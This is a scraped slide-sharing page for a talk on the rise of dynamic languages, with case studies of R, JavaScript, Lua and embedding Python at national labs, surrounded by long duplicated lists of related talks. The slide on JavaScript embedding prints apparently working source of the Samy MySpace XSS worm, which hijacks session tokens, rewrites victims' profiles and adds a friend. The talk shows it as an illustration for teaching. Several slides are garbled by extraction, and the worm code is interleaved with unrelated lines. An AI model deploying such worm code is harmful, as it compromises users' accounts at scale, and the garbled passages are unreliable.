Dynamic pgmming
Dynamic pgmmingDynamic pgmming
Dynamic pgmming
 
Dynamic programming
Dynamic programmingDynamic programming
Dynamic programming
 
Dynamic Programming
Dynamic ProgrammingDynamic Programming
Dynamic Programming
 
Dynamic Programming
Dynamic ProgrammingDynamic Programming
Dynamic Programming
 

Similar a The Rise of Dynamic Languages

Learn a language : LISP
Learn a language : LISPLearn a language : LISP
Learn a language : LISPDevnology
 
LISP: How I Learned To Stop Worrying And Love Parantheses
LISP: How I Learned To Stop Worrying And Love ParanthesesLISP: How I Learned To Stop Worrying And Love Parantheses
LISP: How I Learned To Stop Worrying And Love ParanthesesDominic Graefen
 
LISP: назад в будущее, Микола Мозговий
LISP: назад в будущее, Микола МозговийLISP: назад в будущее, Микола Мозговий
LISP: назад в будущее, Микола МозговийSigma Software
 
Sugar Presentation - YULHackers March 2009
Sugar Presentation - YULHackers March 2009Sugar Presentation - YULHackers March 2009
Sugar Presentation - YULHackers March 2009spierre
 
Class 22: Stateful Evaluation Rules
Class 22: Stateful Evaluation RulesClass 22: Stateful Evaluation Rules
Class 22: Stateful Evaluation RulesDavid Evans
 
Ruby on Rails Training - Module 1
Ruby on Rails Training - Module 1Ruby on Rails Training - Module 1
Ruby on Rails Training - Module 1Mark Menard
 
Indic threads pune12-polyglot & functional programming on jvm
Indic threads pune12-polyglot & functional programming on jvmIndic threads pune12-polyglot & functional programming on jvm
Indic threads pune12-polyglot & functional programming on jvmIndicThreads
 
The Evolution of Scala
The Evolution of ScalaThe Evolution of Scala
The Evolution of ScalaMartin Odersky
 
Trends in Programming Technology you might want to keep an eye on af Bent Tho...
Trends in Programming Technology you might want to keep an eye on af Bent Tho...Trends in Programming Technology you might want to keep an eye on af Bent Tho...
Trends in Programming Technology you might want to keep an eye on af Bent Tho...InfinIT - Innovationsnetværket for it
 
Learning R via Python…or the other way around
Learning R via Python…or the other way aroundLearning R via Python…or the other way around
Learning R via Python…or the other way aroundSid Xing
 
Martin Odersky - Evolution of Scala
Martin Odersky - Evolution of ScalaMartin Odersky - Evolution of Scala
Martin Odersky - Evolution of ScalaScala Italy
 
Scala - The Simple Parts, SFScala presentation
Scala - The Simple Parts, SFScala presentationScala - The Simple Parts, SFScala presentation
Scala - The Simple Parts, SFScala presentationMartin Odersky
 
F# Ignite - DNAD2010
F# Ignite - DNAD2010F# Ignite - DNAD2010
F# Ignite - DNAD2010Rodrigo Vidal
 
Scala Talk at FOSDEM 2009
Scala Talk at FOSDEM 2009Scala Talk at FOSDEM 2009
Scala Talk at FOSDEM 2009Martin Odersky
 
The Evolution of Scala / Scala進化論
The Evolution of Scala / Scala進化論The Evolution of Scala / Scala進化論
The Evolution of Scala / Scala進化論scalaconfjp
 
JSPP: Morphing C++ into Javascript
JSPP: Morphing C++ into JavascriptJSPP: Morphing C++ into Javascript
JSPP: Morphing C++ into JavascriptChristopher Chedeau
 

Similar a The Rise of Dynamic Languages (20)

Special topics in finance lecture 2
Special topics in finance   lecture 2Special topics in finance   lecture 2
Special topics in finance lecture 2
 
Java 8 Lambda
Java 8 LambdaJava 8 Lambda
Java 8 Lambda
 
Learn a language : LISP
Learn a language : LISPLearn a language : LISP
Learn a language : LISP
 
LISP: How I Learned To Stop Worrying And Love Parantheses
LISP: How I Learned To Stop Worrying And Love ParanthesesLISP: How I Learned To Stop Worrying And Love Parantheses
LISP: How I Learned To Stop Worrying And Love Parantheses
 
LISP: назад в будущее, Микола Мозговий
LISP: назад в будущее, Микола МозговийLISP: назад в будущее, Микола Мозговий
LISP: назад в будущее, Микола Мозговий
 
Sugar Presentation - YULHackers March 2009
Sugar Presentation - YULHackers March 2009Sugar Presentation - YULHackers March 2009
Sugar Presentation - YULHackers March 2009
 
Class 22: Stateful Evaluation Rules
Class 22: Stateful Evaluation RulesClass 22: Stateful Evaluation Rules
Class 22: Stateful Evaluation Rules
 
Ruby on Rails Training - Module 1
Ruby on Rails Training - Module 1Ruby on Rails Training - Module 1
Ruby on Rails Training - Module 1
 
Indic threads pune12-polyglot & functional programming on jvm
Indic threads pune12-polyglot & functional programming on jvmIndic threads pune12-polyglot & functional programming on jvm
Indic threads pune12-polyglot & functional programming on jvm
 
The Evolution of Scala
The Evolution of ScalaThe Evolution of Scala
The Evolution of Scala
 
Trends in Programming Technology you might want to keep an eye on af Bent Tho...
Trends in Programming Technology you might want to keep an eye on af Bent Tho...Trends in Programming Technology you might want to keep an eye on af Bent Tho...
Trends in Programming Technology you might want to keep an eye on af Bent Tho...
 
Learning R via Python…or the other way around
Learning R via Python…or the other way aroundLearning R via Python…or the other way around
Learning R via Python…or the other way around
 
Martin Odersky - Evolution of Scala
Martin Odersky - Evolution of ScalaMartin Odersky - Evolution of Scala
Martin Odersky - Evolution of Scala
 
Object
ObjectObject
Object
 
Scala - The Simple Parts, SFScala presentation
Scala - The Simple Parts, SFScala presentationScala - The Simple Parts, SFScala presentation
Scala - The Simple Parts, SFScala presentation
 
F# Ignite - DNAD2010
F# Ignite - DNAD2010F# Ignite - DNAD2010
F# Ignite - DNAD2010
 
Scala Talk at FOSDEM 2009
Scala Talk at FOSDEM 2009Scala Talk at FOSDEM 2009
Scala Talk at FOSDEM 2009
 
Scala Introduction
Scala IntroductionScala Introduction
Scala Introduction
 
The Evolution of Scala / Scala進化論
The Evolution of Scala / Scala進化論The Evolution of Scala / Scala進化論
The Evolution of Scala / Scala進化論
 
JSPP: Morphing C++ into Javascript
JSPP: Morphing C++ into JavascriptJSPP: Morphing C++ into Javascript
JSPP: Morphing C++ into Javascript
 

Más de greenwop

Performance Analysis of Idle Programs
Performance Analysis of Idle ProgramsPerformance Analysis of Idle Programs
Performance Analysis of Idle Programsgreenwop
 
Unifying Remote Data, Remote Procedure, and Service Clients
Unifying Remote Data, Remote Procedure, and Service ClientsUnifying Remote Data, Remote Procedure, and Service Clients
Unifying Remote Data, Remote Procedure, and Service Clientsgreenwop
 
Expressiveness, Simplicity and Users
Expressiveness, Simplicity and UsersExpressiveness, Simplicity and Users
Expressiveness, Simplicity and Usersgreenwop
 
Category theory, Monads, and Duality in the world of (BIG) Data
Category theory, Monads, and Duality in the world of (BIG) DataCategory theory, Monads, and Duality in the world of (BIG) Data
Category theory, Monads, and Duality in the world of (BIG) Datagreenwop
 
A Featherweight Approach to FOOL
A Featherweight Approach to FOOLA Featherweight Approach to FOOL
A Featherweight Approach to FOOLgreenwop
 
Turning a Tower of Babel into a Beautiful Racket
Turning a Tower of Babel into a Beautiful RacketTurning a Tower of Babel into a Beautiful Racket
Turning a Tower of Babel into a Beautiful Racketgreenwop
 
Normal Considered Harmful
Normal Considered HarmfulNormal Considered Harmful
Normal Considered Harmfulgreenwop
 
Programming Language Memory Models: What do Shared Variables Mean?
Programming Language Memory Models: What do Shared Variables Mean?Programming Language Memory Models: What do Shared Variables Mean?
Programming Language Memory Models: What do Shared Variables Mean?greenwop
 
High Performance JavaScript
High Performance JavaScriptHigh Performance JavaScript
High Performance JavaScriptgreenwop
 

Más de greenwop (9)

Performance Analysis of Idle Programs
Performance Analysis of Idle ProgramsPerformance Analysis of Idle Programs
Performance Analysis of Idle Programs
 
Unifying Remote Data, Remote Procedure, and Service Clients
Unifying Remote Data, Remote Procedure, and Service ClientsUnifying Remote Data, Remote Procedure, and Service Clients
Unifying Remote Data, Remote Procedure, and Service Clients
 
Expressiveness, Simplicity and Users
Expressiveness, Simplicity and UsersExpressiveness, Simplicity and Users
Expressiveness, Simplicity and Users
 
Category theory, Monads, and Duality in the world of (BIG) Data
Category theory, Monads, and Duality in the world of (BIG) DataCategory theory, Monads, and Duality in the world of (BIG) Data
Category theory, Monads, and Duality in the world of (BIG) Data
 
A Featherweight Approach to FOOL
A Featherweight Approach to FOOLA Featherweight Approach to FOOL
A Featherweight Approach to FOOL
 
Turning a Tower of Babel into a Beautiful Racket
Turning a Tower of Babel into a Beautiful RacketTurning a Tower of Babel into a Beautiful Racket
Turning a Tower of Babel into a Beautiful Racket
 
Normal Considered Harmful
Normal Considered HarmfulNormal Considered Harmful
Normal Considered Harmful
 
Programming Language Memory Models: What do Shared Variables Mean?
Programming Language Memory Models: What do Shared Variables Mean?Programming Language Memory Models: What do Shared Variables Mean?
Programming Language Memory Models: What do Shared Variables Mean?
 
High Performance JavaScript
High Performance JavaScriptHigh Performance JavaScript
High Performance JavaScript
 

Último

Unleashing Real-time Insights with ClickHouse_ Navigating the Landscape in 20...
Unleashing Real-time Insights with ClickHouse_ Navigating the Landscape in 20...Unleashing Real-time Insights with ClickHouse_ Navigating the Landscape in 20...
Unleashing Real-time Insights with ClickHouse_ Navigating the Landscape in 20...Alkin Tezuysal
 
A Journey Into the Emotions of Software Developers
A Journey Into the Emotions of Software DevelopersA Journey Into the Emotions of Software Developers
A Journey Into the Emotions of Software DevelopersNicole Novielli
 
Bridging Between CAD & GIS: 6 Ways to Automate Your Data Integration
Bridging Between CAD & GIS:  6 Ways to Automate Your Data IntegrationBridging Between CAD & GIS:  6 Ways to Automate Your Data Integration
Bridging Between CAD & GIS: 6 Ways to Automate Your Data Integrationmarketing932765
 
Time Series Foundation Models - current state and future directions
Time Series Foundation Models - current state and future directionsTime Series Foundation Models - current state and future directions
Time Series Foundation Models - current state and future directionsNathaniel Shimoni
 
Design pattern talk by Kaya Weers - 2024 (v2)
Design pattern talk by Kaya Weers - 2024 (v2)Design pattern talk by Kaya Weers - 2024 (v2)
Design pattern talk by Kaya Weers - 2024 (v2)Kaya Weers
 
A Deep Dive on Passkeys: FIDO Paris Seminar.pptx
A Deep Dive on Passkeys: FIDO Paris Seminar.pptxA Deep Dive on Passkeys: FIDO Paris Seminar.pptx
A Deep Dive on Passkeys: FIDO Paris Seminar.pptxLoriGlavin3
 
TeamStation AI System Report LATAM IT Salaries 2024
TeamStation AI System Report LATAM IT Salaries 2024TeamStation AI System Report LATAM IT Salaries 2024
TeamStation AI System Report LATAM IT Salaries 2024Lonnie McRorey
 
2024 April Patch Tuesday
2024 April Patch Tuesday2024 April Patch Tuesday
2024 April Patch TuesdayIvanti
 
Varsha Sewlal- Cyber Attacks on Critical Critical Infrastructure
Varsha Sewlal- Cyber Attacks on Critical Critical InfrastructureVarsha Sewlal- Cyber Attacks on Critical Critical Infrastructure
Varsha Sewlal- Cyber Attacks on Critical Critical Infrastructureitnewsafrica
 
Connecting the Dots for Information Discovery.pdf
Connecting the Dots for Information Discovery.pdfConnecting the Dots for Information Discovery.pdf
Connecting the Dots for Information Discovery.pdfNeo4j
 
Zeshan Sattar- Assessing the skill requirements and industry expectations for...
Zeshan Sattar- Assessing the skill requirements and industry expectations for...Zeshan Sattar- Assessing the skill requirements and industry expectations for...
Zeshan Sattar- Assessing the skill requirements and industry expectations for...itnewsafrica
 
Generative Artificial Intelligence: How generative AI works.pdf
Generative Artificial Intelligence: How generative AI works.pdfGenerative Artificial Intelligence: How generative AI works.pdf
Generative Artificial Intelligence: How generative AI works.pdfIngrid Airi González
 
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptx
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptxUse of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptx
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptxLoriGlavin3
 
QCon London: Mastering long-running processes in modern architectures
QCon London: Mastering long-running processes in modern architecturesQCon London: Mastering long-running processes in modern architectures
QCon London: Mastering long-running processes in modern architecturesBernd Ruecker
 
Long journey of Ruby standard library at RubyConf AU 2024
Long journey of Ruby standard library at RubyConf AU 2024Long journey of Ruby standard library at RubyConf AU 2024
Long journey of Ruby standard library at RubyConf AU 2024Hiroshi SHIBATA
 
Scale your database traffic with Read & Write split using MySQL Router
Scale your database traffic with Read & Write split using MySQL RouterScale your database traffic with Read & Write split using MySQL Router
Scale your database traffic with Read & Write split using MySQL RouterMydbops
 
[Webinar] SpiraTest - Setting New Standards in Quality Assurance
[Webinar] SpiraTest - Setting New Standards in Quality Assurance[Webinar] SpiraTest - Setting New Standards in Quality Assurance
[Webinar] SpiraTest - Setting New Standards in Quality AssuranceInflectra
 
Genislab builds better products and faster go-to-market with Lean project man...
Genislab builds better products and faster go-to-market with Lean project man...Genislab builds better products and faster go-to-market with Lean project man...
Genislab builds better products and faster go-to-market with Lean project man...Farhan Tariq
 
TrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data PrivacyTrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data PrivacyTrustArc
 
Decarbonising Buildings: Making a net-zero built environment a reality
Decarbonising Buildings: Making a net-zero built environment a realityDecarbonising Buildings: Making a net-zero built environment a reality
Decarbonising Buildings: Making a net-zero built environment a realityIES VE
 

Último (20)

Unleashing Real-time Insights with ClickHouse_ Navigating the Landscape in 20...
Unleashing Real-time Insights with ClickHouse_ Navigating the Landscape in 20...Unleashing Real-time Insights with ClickHouse_ Navigating the Landscape in 20...
Unleashing Real-time Insights with ClickHouse_ Navigating the Landscape in 20...
 
A Journey Into the Emotions of Software Developers
A Journey Into the Emotions of Software DevelopersA Journey Into the Emotions of Software Developers
A Journey Into the Emotions of Software Developers
 
Bridging Between CAD & GIS: 6 Ways to Automate Your Data Integration
Bridging Between CAD & GIS:  6 Ways to Automate Your Data IntegrationBridging Between CAD & GIS:  6 Ways to Automate Your Data Integration
Bridging Between CAD & GIS: 6 Ways to Automate Your Data Integration
 
Time Series Foundation Models - current state and future directions
Time Series Foundation Models - current state and future directionsTime Series Foundation Models - current state and future directions
Time Series Foundation Models - current state and future directions
 
Design pattern talk by Kaya Weers - 2024 (v2)
Design pattern talk by Kaya Weers - 2024 (v2)Design pattern talk by Kaya Weers - 2024 (v2)
Design pattern talk by Kaya Weers - 2024 (v2)
 
A Deep Dive on Passkeys: FIDO Paris Seminar.pptx
A Deep Dive on Passkeys: FIDO Paris Seminar.pptxA Deep Dive on Passkeys: FIDO Paris Seminar.pptx
A Deep Dive on Passkeys: FIDO Paris Seminar.pptx
 
TeamStation AI System Report LATAM IT Salaries 2024
TeamStation AI System Report LATAM IT Salaries 2024TeamStation AI System Report LATAM IT Salaries 2024
TeamStation AI System Report LATAM IT Salaries 2024
 
2024 April Patch Tuesday
2024 April Patch Tuesday2024 April Patch Tuesday
2024 April Patch Tuesday
 
Varsha Sewlal- Cyber Attacks on Critical Critical Infrastructure
Varsha Sewlal- Cyber Attacks on Critical Critical InfrastructureVarsha Sewlal- Cyber Attacks on Critical Critical Infrastructure
Varsha Sewlal- Cyber Attacks on Critical Critical Infrastructure
 
Connecting the Dots for Information Discovery.pdf
Connecting the Dots for Information Discovery.pdfConnecting the Dots for Information Discovery.pdf
Connecting the Dots for Information Discovery.pdf
 
Zeshan Sattar- Assessing the skill requirements and industry expectations for...
Zeshan Sattar- Assessing the skill requirements and industry expectations for...Zeshan Sattar- Assessing the skill requirements and industry expectations for...
Zeshan Sattar- Assessing the skill requirements and industry expectations for...
 
Generative Artificial Intelligence: How generative AI works.pdf
Generative Artificial Intelligence: How generative AI works.pdfGenerative Artificial Intelligence: How generative AI works.pdf
Generative Artificial Intelligence: How generative AI works.pdf
 
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptx
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptxUse of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptx
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptx
 
QCon London: Mastering long-running processes in modern architectures
QCon London: Mastering long-running processes in modern architecturesQCon London: Mastering long-running processes in modern architectures
QCon London: Mastering long-running processes in modern architectures
 
Long journey of Ruby standard library at RubyConf AU 2024
Long journey of Ruby standard library at RubyConf AU 2024Long journey of Ruby standard library at RubyConf AU 2024
Long journey of Ruby standard library at RubyConf AU 2024
 
Scale your database traffic with Read & Write split using MySQL Router
Scale your database traffic with Read & Write split using MySQL RouterScale your database traffic with Read & Write split using MySQL Router
Scale your database traffic with Read & Write split using MySQL Router
 
[Webinar] SpiraTest - Setting New Standards in Quality Assurance
[Webinar] SpiraTest - Setting New Standards in Quality Assurance[Webinar] SpiraTest - Setting New Standards in Quality Assurance
[Webinar] SpiraTest - Setting New Standards in Quality Assurance
 
Genislab builds better products and faster go-to-market with Lean project man...
Genislab builds better products and faster go-to-market with Lean project man...Genislab builds better products and faster go-to-market with Lean project man...
Genislab builds better products and faster go-to-market with Lean project man...
 
TrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data PrivacyTrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data Privacy
 
Decarbonising Buildings: Making a net-zero built environment a reality
Decarbonising Buildings: Making a net-zero built environment a realityDecarbonising Buildings: Making a net-zero built environment a reality
Decarbonising Buildings: Making a net-zero built environment a reality
 

The Rise of Dynamic Languages

  • 1. The Rise of Dynamic Languages Jan Vitek 1 Programming Languages... … provide a vocabulary for computational thinking … are measured in the time to solution … designs manifest tensions end-users vs. CS exploratory vs. batch interpretive vs. compiled Lisp vs. Fortran 2
  • 2. 50+ years ago… Needless to say, the point of the exercise was not the differentiation program rather clarification of itself ... but the operations involved in symbolic computation [McCarthy, History of Lisp HOPL’78] 3 Smalltalk JavaScript Ruby shell ActionScript R PHP Perl Lua Sho Tcl VB Erlang Matlab Python scheme Clojure Lisp Forth 4
  • 3. Two decades of dynamism VisualBasic dyn 1991 Python dyn 1991 Lua dyn 1993 R dyn 1993 Java stat+dyn 1995 JavaScript dyn 1995 Ruby dyn 1995 C# stat+dyn 2001 Scala stat 2002 F# stat 2003 Clojure dyn 2007 Sho dyn 2010 5 Popularity 6
  • 4. 7 PHP Java Ruby Scheme SQL JS Python Asm Perl Scala Pascal ColdFus AScript Lisp Delphi Haskell Erlang Clojure Cobol Smalltalk Tcl Fortran R Ocaml Rexx http://blog.revolutionanalytics.com/2010/12/programming-languages-ranked-by-popularity.html 8
  • 5. 9 Java C++ VB C# C SQL JS PHP Perl Python Ada Pascal Asm Cobol Fortran AScript Delphi Smalltalk Lisp Obj-C ColdFus Tcl Shell Scheme Haskell Scala Rexx Erlang Forth Ocaml http://langpop,com 10
  • 6. Dynamic Languages… Dynamic Typing Single threaded Late binding Failure oblivious Reflective Garbage collected Interactive Embeddable/Extendible Permissive High-level Data Structures Lightweight syntax Performance challenged 11 Dynamic languages are everywhere… Dynamic languages are popular… Dynamic languages are successful… Dynamic languages are growing up… 12
  • 7. case study: R … a language for data analysis and graphics. … widely used in statistics … based on S by John Chambers at Bell labs … open source effort started by Ihaka and Gentleman 13 Workflow based on interaction with the IDE: read data into variables make plots compute summaries more intricate modeling steps develop simple functions to automate analysis … 14
  • 8. case study: R … vast libraries of reusable codes … well documented and self-testing … 4,338 R packages in CRAN and other repositories 15 case study: R • Functional and concise cube <- function(x=5) x*x*x cube() cube(2) cube(x=4) 16
  • 9. case study: R Powerful array and matrix operations x <- c(2,7,9,2,NA,5) x[1:3] x[-1] x[is.na(x)] <- 0 17 case study: R Powerful graphics > plot(cars) > lines(lowess(cars)) 18
  • 10. case study: R • Powerful graphics > plot( function(y)y*y, 0, 3) 19 case study: R R is Lazy > with(formaldehyde, carb * optden) [1] 0.008 0.080 0.223 0.322 0.438 0.703 20
  • 11. case study: R … tools and support for reproducible experiments Recent NYTimes story on uncovering faulty research www.nytimes.com/2011/07/08/health/research/08genes.html 21 case study: R … is a dynamic language … is a vector language … is an object-oriented language … is a functional language … is a lazy language Lightweight Single threaded Reflective Embeddable Portable High-level Data Extendible Dynamic Typing Permissive Failure oblivious Interactive Open 22
  • 12. Lightweight syntax public class Hello { public static void main(String[] args){ System.out.println(“hello”); } } puts “hello” Map<String,Integer> m=new HashMap<String,Integer>(); m.put(“one”, 1); m = {} m{“one”) = 1 23 Dynamic Typing Dynamic languages use Duck Typing "When I see a bird that walks like a duck and swims like a duck and quacks like a duck, I call that bird a duck." -- JWRiley More precisely fun F( x ) { if (alwayFalse) x.ready() else x.draw() } 24
  • 13. Dynamic Typing “In a strongly typed language each data area has a distinct type & each process states its communication requirements in terms of these types.” -- K. Jackson ’77 If static typing has benefits such as: • preventing some errors ahead of time • simplifying generation of efficient code • providing machine-checked documentation Why is it a bad idea? 25 Dynamic Typing Static typing only catches trivial errors most systems can’t even catch NPEs, or off-by-one errors Static typing ossifies code and hinders evolution make the type checker globally happy before testing a local change Static typing slows down the rate of development pessimistic typing, in case of doubt just say no 26
  • 14. The boxplot from figure 7.241 visualizes the results from the tasks having imple- mented semantic errors. Dynamic Typing Tasks secs Hypothesis: No difference in time solving 00 semantic bugs with a dynamically 20 or statically typed language 00 10 Groovy Java Figure 7.24: Boxplot - Semantic Bugs - Results of both groups Steinberg. What is the impact of static type systems on maintenance tasks? MSc Thesis U.Duisburg-Essen 27 For the tasks having a di↵culty level of 1 it can be recognized that the subjects using Java to complete the task needed less time than the subjects using Groovy. The boxplots for level 2 look di⌦erent. The minimum of the Groovy and Java boxplot are almost the same, but the lower quantile as well as the median are below the ones of the Groovy boxplot. The upper quantile and the maximum of Java is higher than Groovy’s. case study: JavaScript The results for level 3 show, that Java is slower than Groovy. Additionally, there exist outliers for every task. 91% 1 One outlier for level 3 Groovy is not displayed, being near 8000000 of top 10K web pages! Lightweight Single threaded Reflective Embeddable Portable High-level Data Extendible Dynamic Typing Permissive Failure oblivious Interactive Open 28
  • 15. Reflection … refers to the runtime manipulation of program structures recall the R with keyword? > with(fdehyde,c*o) It is actually a generic function: with.default <- function(data,expr,...) eval( substitute(expr), data, enclos=parent.frame()) 29 Reflection Access object properties x[“f”] Update object properties x[“f”]=2 Delete object properties delete x.f Discover properties for(var p in x){ Access global variables window[“f”] Update global variables window[“f”]=2 Access/update local variables eval(“f = 2”) 30
  • 16. case study: Lua • C library for seamless embedding • Interoperation requires reflection over data Lightweight Single threaded Reflective Embeddable Portable High-level Data Extendible Dynamic Typing Permissive Failure oblivious Interactive Garbage-collected Lerusalimschy, et. al. Passing a Language through the Eye of a Needle, ACMQUEUE, 2011 31 case study: Lua Adobe Lightroom Used ... ObjC … to provide interface and 12% C glue between components 9% … for business logic, controllers, C++ Lua views 16% 63% … for its fast turn around Troy Gaul. Lightroom Exposed. http://www.troygaul.com 32
  • 17. Embeddable An embeddable language must be have an API that allows data to be accessed and manipulated externally JavaScript designed to be embedded in HTML pages Interaction with browser adds “isolation”-based security model Document Object Model exposes the web page 33 <div id=mycode style="BACKGROUND: url('java script:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34);var A=String.fromCharCode (39);function g(){var C;try{var D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C} else{return eval('document.body.inne'+'rHTML')}}function getData(AU){M=getFromURL (AU,'friendID');L=getFromURL(AU,'Mytoken')}function getQueryParams(){var E=document.location.search;var F=E.substring(1,E.length).split('&');var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].split ('=');AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams();var L=AS['Mytoken'];var M=AS['friendID'];if (location.hostname=='profile.myspace.com'){document.location='http://www.myspace.com'+location.pathname +location.search}else{if(!M){getData(g())}main()}function getClientFID(){return findIn(g(),'up_launchIC ( '+A,A)}function nothing(){}function paramsToString(AV){var N=new String();var O=0;for(var P in AV){if (O>0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','%2B')}while(Q.indexOf('&')! =-1){Q=Q.replace('&','%26')}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return false} eval('J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST'){J.setRequestHeader('Content- Type','application/x-www-form-urlencoded');J.setRequestHeader('Content-Length',BK.length)}J.send (BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R +1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,'name='+B +BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y} <div id="code" expr="alert('boom')" style="background:url('java function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}} else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject script:eval(document.all.mycode.expr)')"> ('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=g();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var AF;if(AE) {AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF=' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'}var AG;function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes','</td>');AG=AG.substring(61,AG.length);if(AG.indexOf ('samy')==-1){if(AF){AG+=AF;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel'] ='heroes';AS['submit']='Preview';AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm? fuseaction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))}}}function postHero (){if(J.readyState!=4){return}var AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS ['interestLabel']='heroes';AS['submit']='Submit';AS['interest']=AG;AS['hash']=getHiddenParameter (AU,'hash');httpSend('/index.cfm? fuseaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function main(){var AN=getClientFID();var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;J=getXMLObj ();httpSend(BH,getHome,'GET');xmlhttp2=getXMLObj();httpSend2('/index.cfm? fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')}function processxForm(){if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var AQ=getHiddenParameter (AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID'] ='11851658';AS['submit']='Add to Friends';httpSend2('/index.cfm? fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function httpSend2 (BH,BI,BJ,BK){if(!xmlhttp2){return false}eval('xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.open 34
  • 18. simplify the software development cycle case study: Embeddable #Call at each cycle of Mercury execution! energyTal = mc.tally.tal Mercury! ["EnergyDeposition”]! Python ! if energyTal.getValue(Particle="Neutron", Cell=”Skull") > 1e-6:! Mercury is a general-purpose parallelenergy deposition to print "Neutron Monte Carlo particle transport code written in C++ the skull reached threshold."! Health physics: a “phantom” human can be modeled (at … C++ parallel Monte Carloindeposition inittransportthen validate The Mercury application embeds Python to make to the skull overcode particle easier to test the right) and placed a scenario. The code can determine neutron and the software. course of a simulation … embeds Python to ease testing & validation scripts for Goal: replace the majority of compiled C++ testing with Python shorter compile times and faster development cycle … massively faster development cycle At right, the National Ignition Facility Lawrence Livermore National Laboratory target chamber is modeled. This 4 model was used in Mercury to Procassini, Taylor, McKinley, Greenman,neutronO’Brien, Beck, Hagmann,.Update simulate Cullen, deposition into the surrounding facility walls and 10 m on the Development and Validation of MERCURY: A modern, Monte Carlo particle transport code. Mathematicsthe hazards evaluate and Computation, Supercomputing, correspondingly Reactor Physics and Nuclear Biological Applications, 2005. 35 Lawrence Livermore National Laboratory 3 In Kull, the dynamic language is “front and center” and the static language components are compiled, then imported at runtime case study: Extendible >> from kull import * >> mesh = Mesh(aFileName) Python / pympi! C++! C++! C++! C++! … The Kull application extends Python to provide a “steerable” simulation code. … inertial confinement fusion simulation Pros: flexibility, “it’s just Python”, “like a duck” interface compliance, easy to … extendswrite tests provide a “steerable” simulation C++ to Cons: … wrapped and exposed to Python via SWIG for binding technology High costs (maintenance, compile time, etc.) paid Ex: ~350K lines of code, 1.7 mil lines of generated wrapper code. … 1.7Mloc generated C++ wrappers (static price) Lawrence Livermore National Laboratory 6 Alumbaugh, Dynamic Languages for HPC at LLNL. Talk at VEESC Workshop, 2010 36
  • 19. Failure Obliviousness Dynamic languages keep the program running… … by allowing the execution of incomplete programs … by converting data types automatically when possible … by decreasing number of errors that must be handled “Best effort” execution 37 Failure Obliviousness Getting an error in JavaScript is difficult x = {}; // object x.b = 42; // field add y = x[“f”]; // undefined z = y.f; // error 38
  • 20. case study: JSLocker • Abort untrusted JavaScript code • From enclosing program’s point of view, random failures al-Site Behavior • Most programs are resilient Policy Functional AdBlock Partial Broken Empty 50 0 0 0 AddOnly 36 8 5 1 SendAfterRead 42 7 1 0 Hammer, Richards, Vitek. Flexible Access Control Policies with Delimited Histories and Revocation, Submitted. 39 Fully functional. No visible features hindered. Ads blocked. The site itself worked, but some ads did not. Partially Functional. Reduced functionality, but site still usable. Broken. Fundamental features of site broken. case study: CERN Motivation Security with Delimited Histories Evaluation Summary 26/29 • Dynamic languages used: Python, Perl, Bash, Tcl, … • But, most of the analysis code is in C++ Can C++ be turned into a dynamic language? Lightweight Single threaded Reflective Embeddable Portable High-level Data Extendible Dynamic Typing Permissive Failure oblivious Interactive Open 40
